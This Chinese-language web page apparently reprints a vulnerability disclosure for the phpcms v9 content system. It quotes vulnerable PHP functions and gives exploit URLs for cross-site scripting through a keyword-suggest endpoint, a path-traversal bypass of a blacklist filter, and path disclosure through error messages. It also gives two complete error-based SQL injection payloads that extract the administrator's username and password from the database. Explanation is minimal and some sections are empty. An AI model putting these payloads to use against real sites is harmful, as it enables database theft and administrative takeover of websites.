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首  页>>JAVA安全开发>> 漏洞信息phpcms v9 多个安全漏洞《sql注入,XSS攻击》
phpcms v9 多个安全漏洞《sql注入,XSS攻击》
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XSS

public function public_get_suggest_keyword() {

$url = $_GET['url'].’&q=’.$_GET['q'];

echo $url;

$res = @file_get_contents($url);

if(CHARSET != ’gbk’) {

$res = iconv(‘gbk’, CHARSET, $res);

}

echo $res;

}
利用方法:

http://localhost/phpcms/index.php?m=search&a=public_get_suggest_keyword&url=http://localhost/&q=1

新建一个名为&q=1的文件 写入

黑名单过滤:这里只说过滤方式. 这里并没有权限访问

if(!$this->admin_username) return false;

if($_GET['args']) extract(getswfinit($_GET['args']));

$dir = isset($_GET['dir']) && trim($_GET['dir']) ? str_replace(array(‘..\\’, ’../’, ’./’, ’.\\’,’..’), ”, trim($_GET['dir'])) : ”;

$filepath = $this->upload_path.$dir;

$list = glob($filepath.’/’.’*');

if(!empty($list)) rsort($list);

$local = str_replace(array(PC_PATH, PHPCMS_PATH ,DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR), array(”,”,DIRECTORY_SEPARATOR), $filepath);

$url = ($dir == ’.' || $dir==”) ? $this->upload_url : $this->upload_url.str_replace(‘.’, ”, $dir).’/';

$show_header = true;

include $this->admin_tpl(‘album_dir’);
http://localhost/phpcms/index.php?m=attachment&a=album_dir&dir=.\.\ 用黑名单过滤始终是不可取的

路径泄露

if (empty($filename)) $filename = ROUTE_C;

if (empty($m)) $m = ROUTE_M;

$filepath = PC_PATH.’modules’.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.’.php’;

if (file_exists($filepath)) {

$classname = $filename;

include $filepath;

if ($mypath = pc_base::my_path($filepath)) {

$classname = ’MY_’.$filename;

include $mypath;

}

return new $classname;
没进行容错处理提交:

http://v9.demo.phpcms.cn/index.php?m=../model&c=member_group_model.class

由于member_group_model.class 类不存在 会报错

Fatal error: Class ’member_group_model.class’ not found in /workspace/wwwroot/v9.demo.phpcms.cn/phpcms/libs/classes/application.class.php on

http://v9.demo.phpcms.cn/index.php?m=../../

Fatal error: Cannot redeclare timeinterval() (previously declared in /workspace/wwwroot/v9.demo.phpcms.cn/phpcms/libs/functions/autoload/info.func.php:15) in /workspace/wwwroot/v9.demo.phpcms.cn/phpcms/libs/functions/autoload/info.func.php on line 27

XSS:

SQL注入:

http://madman.in/phpcms/index.php?a=list_type&c=index&m=link&siteid=’+and(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0×27,unhex(Hex(cast(v9_admin.username+as+char))),0×27,0x7e)+from+`phpcmsv9`.v9_admin+Order+by+userid+limit+0,1)+)+from+`information_schema`.tables+limit+0,1),floor(rand(0)*2))x+from+`information_schema`.tables+group+by+x)a)+and+’1′%3D’1

http://madman.in/phpcms/index.php?a=list_type&c=index&m=link&siteid=’+and(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0×27,unhex(Hex(cast(v9_admin.password+as+char))),0×27,0x7e)+from+`phpcmsv9`.v9_admin+Order+by+userid+limit+0,1)+)+from+`information_schema`.tables+limit+0,1),floor(rand(0)*2))x+from+`information_schema`.tables+group+by+x)a)+and+’1′%3D’1

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